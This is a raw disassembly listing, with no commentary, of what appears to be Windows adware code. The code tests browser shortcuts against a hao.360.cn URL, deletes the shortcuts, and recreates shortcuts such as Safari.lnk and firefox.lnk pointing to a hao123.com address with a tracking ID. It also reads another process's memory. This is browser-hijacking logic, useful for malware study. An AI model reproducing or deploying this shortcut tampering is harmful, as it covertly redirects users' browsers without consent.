lea ecx, [ebp - 0x650]
call fcn.00421b00
mov edi, dword [ebp - 0x6a0]
cmp dword [edi - 0xc], 0
jge 0x425eff
or esi, 0xffffffff
jmp 0x425f1c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x425f16
or esi, 0xffffffff
jmp 0x425f1c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6a0]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6cc]
push ecx
lea ecx, [ebp - 0x6a0]
call fcn.00421b00
lea ecx, [ebp - 0x6cc]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x650]
call fcn.0041f1c0
lea ecx, [ebp - 0x6a0]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x4260ec
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x425ff0
mov ecx, dword [str.Safari.lnk]
mov edx, dword [0x448a4c]
mov dword [eax], ecx
mov ecx, dword [0x448a50]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x650]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x426040
push 0x104
lea ecx, [ebp - 0x650]
call fcn.00401bb0
mov eax, dword [ebp - 0x650]
push eax
lea ecx, [ebp - 0x6d0]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6d0]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6a0]
call fcn.004021f0
lea ecx, [ebp - 0x650]
jmp 0x42736a
lea eax, [ebp - 0x62c]
push 0x448a3c
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x4264ad
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x426154
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x426170
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x426186
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x4261b0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4261b0
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x654]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x6d8]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x654]
call fcn.00402bf0
lea ecx, [ebp - 0x6d8]
call fcn.004021f0
mov esi, dword [ebp - 0x654]
cmp dword [esi - 0xc], 0
jl 0x426245
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x426245
sub eax, esi
sar eax, 1
je 0x4264a2
lea edx, [ebp - 0x654]
push 0x445e0c
push edx
call fcn.0040e670
add esp, 8
test al, al
je 0x4264a2
push 0x20
lea ecx, [ebp - 0x654]
call fcn.00413e90
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub ecx, eax
push ecx
push eax
lea edx, [ebp - 0x690]
push edx
lea ecx, [ebp - 0x654]
call fcn.00421b00
mov edi, dword [ebp - 0x690]
cmp dword [edi - 0xc], 0
jge 0x42629f
or esi, 0xffffffff
jmp 0x4262bc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x4262b6
or esi, 0xffffffff
jmp 0x4262bc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x690]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea eax, [ebp - 0x6e0]
push eax
lea ecx, [ebp - 0x690]
call fcn.00421b00
lea ecx, [ebp - 0x6e0]
call fcn.004021f0
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x654]
call fcn.0041f1c0
lea eax, [ebp - 0x690]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426497
lea ecx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x426390
mov ecx, dword [0x448a2c]
mov edx, dword [0x448a30]
mov dword [eax], ecx
mov ecx, dword [0x448a34]
mov dword [eax + 4], edx
mov dx, word [0x448a38]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov eax, dword [ebp - 0x654]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x4263eb
push 0x104
lea ecx, [ebp - 0x654]
call fcn.00401bb0
mov eax, dword [ebp - 0x654]
push eax
lea ecx, [ebp - 0x6e8]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6e8]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x690]
call fcn.004021f0
lea ecx, [ebp - 0x654]
jmp 0x42736a
lea ecx, [ebp - 0x62c]
push 0x448a1c
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x426864
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x426500
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x426520
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x426536
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x426560
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x426560
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x674]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x6f0]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x674]
call fcn.00402bf0
lea ecx, [ebp - 0x6f0]
call fcn.004021f0
mov esi, dword [ebp - 0x674]
cmp dword [esi - 0xc], 0
jl 0x4265f5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x4265f5
sub eax, esi
sar eax, 1
je 0x426859
lea ecx, [ebp - 0x674]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x426859
push 0x20
lea ecx, [ebp - 0x674]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6b0]
push eax
lea ecx, [ebp - 0x674]
call fcn.00421b00
mov edi, dword [ebp - 0x6b0]
cmp dword [edi - 0xc], 0
jge 0x42664f
or esi, 0xffffffff
jmp 0x42666c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x426666
or esi, 0xffffffff
jmp 0x42666c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6b0]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6f8]
push ecx
lea ecx, [ebp - 0x6b0]
call fcn.00421b00
lea ecx, [ebp - 0x6f8]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x674]
call fcn.0041f1c0
lea ecx, [ebp - 0x6b0]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42684e
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x426740
mov ecx, dword [0x448a08]
mov edx, dword [0x448a0c]
mov dword [eax], ecx
mov ecx, dword [0x448a10]
mov dword [eax + 4], edx
mov edx, dword [0x448a14]
mov dword [eax + 8], ecx
mov ecx, dword [0x448a18]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 0x674]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x4267a2
push 0x104
lea ecx, [ebp - 0x674]
call fcn.00401bb0
mov eax, dword [ebp - 0x674]
push eax
lea ecx, [ebp - 0x700]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x700]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6b0]
call fcn.004021f0
lea ecx, [ebp - 0x674]
jmp 0x42736a
lea eax, [ebp - 0x62c]
push 0x4489f8
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426898
lea ecx, [ebp - 0x62c]
push 0x4489ec
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x42736f
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4268d0
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4268f0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x426906
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x426930
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x426930
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x65c]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x708]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x65c]
call fcn.00402bf0
lea ecx, [ebp - 0x708]
call fcn.004021f0
mov esi, dword [ebp - 0x65c]
cmp dword [esi - 0xc], 0
jl 0x4269c5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x4269c5
sub eax, esi
sar eax, 1
je 0x426c29
lea ecx, [ebp - 0x65c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x426c29
push 0x20
lea ecx, [ebp - 0x65c]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x65c]
call fcn.00421b00
mov edi, dword [ebp - 0x698]
cmp dword [edi - 0xc], 0
jge 0x426a1f
or esi, 0xffffffff
jmp 0x426a3c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x426a36
or esi, 0xffffffff
jmp 0x426a3c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x698]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x710]
push ecx
lea ecx, [ebp - 0x698]
call fcn.00421b00
lea ecx, [ebp - 0x710]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x65c]
call fcn.0041f1c0
lea ecx, [ebp - 0x698]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426c1e
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x426b10
mov ecx, dword [0x4489d8]
mov edx, dword [0x4489dc]
mov dword [eax], ecx
mov ecx, dword [0x4489e0]
mov dword [eax + 4], edx
mov edx, dword [0x4489e4]
mov dword [eax + 8], ecx
mov ecx, dword [0x4489e8]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 0x65c]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x426b72
push 0x104
lea ecx, [ebp - 0x65c]
call fcn.00401bb0
mov eax, dword [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x718]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x718]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x698]
call fcn.004021f0
lea ecx, [ebp - 0x65c]
jmp 0x42736a
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x30e]
push ecx
mov word [ebp - 0x310], ax
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x310]
push edx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x426c70
mov eax, dword [0x447ed4]
mov dword [edi], eax
mov eax, dword [ebp - 0x62c]
mov edx, eax
jmp 0x426c90
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x426c90
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x426ca6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x426cd0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x426cd0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x66c]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x720]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x66c]
call fcn.00402bf0
lea ecx, [ebp - 0x720]
call fcn.004021f0
mov esi, dword [ebp - 0x66c]
cmp dword [esi - 0xc], 0
jl 0x426d65
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x426d65
sub eax, esi
sar eax, 1
je 0x426fc0
lea ecx, [ebp - 0x66c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x426fc0
push 0x20
lea ecx, [ebp - 0x66c]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6a8]
push eax
lea ecx, [ebp - 0x66c]
call fcn.00421b00
mov edi, dword [ebp - 0x6a8]
cmp dword [edi - 0xc], 0
jge 0x426dbf
or esi, 0xffffffff
jmp 0x426ddc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x426dd6
or esi, 0xffffffff
jmp 0x426ddc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6a8]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x728]
push ecx
lea ecx, [ebp - 0x6a8]
call fcn.00421b00
lea ecx, [ebp - 0x728]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x66c]
call fcn.0041f1c0
lea ecx, [ebp - 0x6a8]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x426fb5
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x426eb0
mov ecx, dword [str._firefox.lnk]
mov edx, dword [0x4489cc]
mov dword [eax], ecx
mov ecx, dword [0x4489d0]
mov dword [eax + 4], edx
mov dl, byte [0x4489d4]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
mov eax, dword [ebp - 0x66c]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x426f09
push 0x104
lea ecx, [ebp - 0x66c]
call fcn.00401bb0
mov eax, dword [ebp - 0x66c]
push eax
lea ecx, [ebp - 0x730]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x730]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6a8]
call fcn.004021f0
lea ecx, [ebp - 0x66c]
jmp 0x42736a
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x427001
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x427020
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x427036
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x427060
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x427060
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x648]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x738]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x648]
call fcn.00402bf0
lea ecx, [ebp - 0x738]
call fcn.004021f0
mov esi, dword [ebp - 0x648]
cmp dword [esi - 0xc], 0
jl 0x4270f5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x4270f5
sub eax, esi
sar eax, 1
je 0x427364
lea edx, [ebp - 0x648]
push 0x445e0c
push edx
call fcn.0040e670
add esp, 8
test al, al
je 0x427364
push 0x20
lea ecx, [ebp - 0x648]
call fcn.00413e90
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub ecx, eax
push ecx
push eax
lea edx, [ebp - 0x684]
push edx
lea ecx, [ebp - 0x648]
call fcn.00421b00
mov edi, dword [ebp - 0x684]
cmp dword [edi - 0xc], 0
jge 0x42714f
or esi, 0xffffffff
jmp 0x42716c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x427166
or esi, 0xffffffff
jmp 0x42716c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x684]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea eax, [ebp - 0x740]
push eax
lea ecx, [ebp - 0x684]
call fcn.00421b00
lea ecx, [ebp - 0x740]
call fcn.004021f0
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x648]
call fcn.0041f1c0
lea eax, [ebp - 0x684]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x427359
lea ecx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
